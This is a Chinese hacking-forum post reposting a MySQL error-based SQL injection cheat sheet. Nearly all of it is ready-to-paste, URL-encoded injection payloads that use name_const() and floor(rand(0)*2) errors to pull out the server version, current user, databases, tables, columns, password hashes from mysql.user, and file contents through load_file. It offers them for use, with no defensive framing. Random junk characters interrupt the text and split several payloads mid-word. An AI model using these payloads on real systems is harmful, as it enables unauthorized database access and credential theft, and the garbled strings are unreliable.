找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1985|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
# h$ o6 s; P( S) f( o( D6 N% N; u* c9 r2 F. ?2 q4 O& j/ j& H

* s- b4 o; G/ Y7 p' |% [8 f/ JMysql暴错注入参考(pdf),每天一贴。。。* D7 O2 W  d/ r1 O8 M4 n

' ]) S! N6 y3 U1 J/ jMySql Error Based Injection Reference
0 b& d; I0 E0 c3 j0 o[Mysql暴错注入参考]; [, F2 N' a' ?5 W! E/ B
Authornig0s1992
* r/ A$ o/ @- f7 X7 jBlog:http://pnig0s1992.blog.51cto.com/5 \' k& \8 D: [+ j
TeAm:http://www.FreeBuf.com/& o; `! Y1 Z2 H+ \3 H( T" J
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
; ]) \% E) N1 p  i( Q# V/ X小部分版本使用name_const()时会报错.可以用给出的Method.2测试+ G; q: y+ h# Y6 R' y0 f" \, O$ Q( b
查询版本:: q3 N$ o* ~0 M+ a# Z1 ?5 s
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
( x1 G% r7 v3 r$ Zjoin+(select+name_const(@@version,0))b)c)
! j0 l% o4 o& e8 b  u0 u; M9 r* ?Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro4 \, _* |6 [: q
up by a)b)3 }6 r  |. d. ^+ @
查询当前用户:
( S1 q- j6 U8 WMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)/ k" a! c7 n" n
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r4 r+ Y( H0 N- @$ h3 ]& R# T, ?
and(0)*2))x+from+information_schema.tables+group+by+x)a)8 V7 H0 D* y  X8 D3 }5 V; n4 \$ [
查询当前数据库:2 H% V, z; E# V' y+ n; i; B
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)+ R& e0 ?- ?! [- H  A
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo/ D6 n. t( f* {
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
+ r5 F) x! N. A/ X依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+1 ^# G8 X" n) _- T0 Q/ a
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
) q( r; o0 j7 I  N( I顺序替换: @# H) S8 y4 }# _# }
爆指定库数目:1 w* ?" c9 V; v0 o' ?6 z
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t! E; _( K5 L9 `/ X7 ]4 N
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group  M$ D/ U0 }% C6 A7 h* X  C1 P+ G; T7 r
+by+x)a)+and+1=1 0x6D7973716C=mysql8 F7 ]" I( e* m- ]' X
依次爆表:
0 ^1 ^  T2 l/ n$ _  d" wand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
4 J. z  a$ U& K: j. ^$ S  ~# `& d6 Hable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
, ~9 N. G& a3 ?  lbles+group+by+x)a)+and+1=1
; d% \: d! M# ^4 |0 n' @0x6D7973716C=Mysql 将n顺序替换
$ k' Q7 k6 N7 \! d! [& T爆表内字段数目:( h3 ?  [' h4 ]. v
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE* u4 k: J0 r( l
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
& q' E2 J# H' u  l3 Z7 b0 W0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
; l/ [( B" w! K2 g/ m7 G依次爆字段:
8 C* F" }1 L: K0 Sand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where' J) u- J8 X+ q* G; i0 C
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1) @4 [% D% T2 {8 A
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换0 f! Z/ }; P" g) A( r
依次暴内容:! Y/ U$ ^7 T% c7 m  _) A
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche/ G) o. s3 T+ Z  v
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1) o; s1 F& v; X9 z
将n顺序替换
9 C' p% q3 |& t3 X' I爆文件内容:- F& |( H9 I. \! j. Q* {$ c
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a* L$ ?' [) x- y/ E
from+information_schema.tables+group+by+a)b)
7 ?+ Z6 D! b/ N0 Y/ T$ t0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
! n# ?; I) G- M2 X+ W2 SThx for reading.2 o& l3 s5 u7 f7 w

1 ]$ p" Y2 b  T% @  ?+ J  F" W不要下载也可以, 7 R+ ^* E5 L/ O" a  Z4 N

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表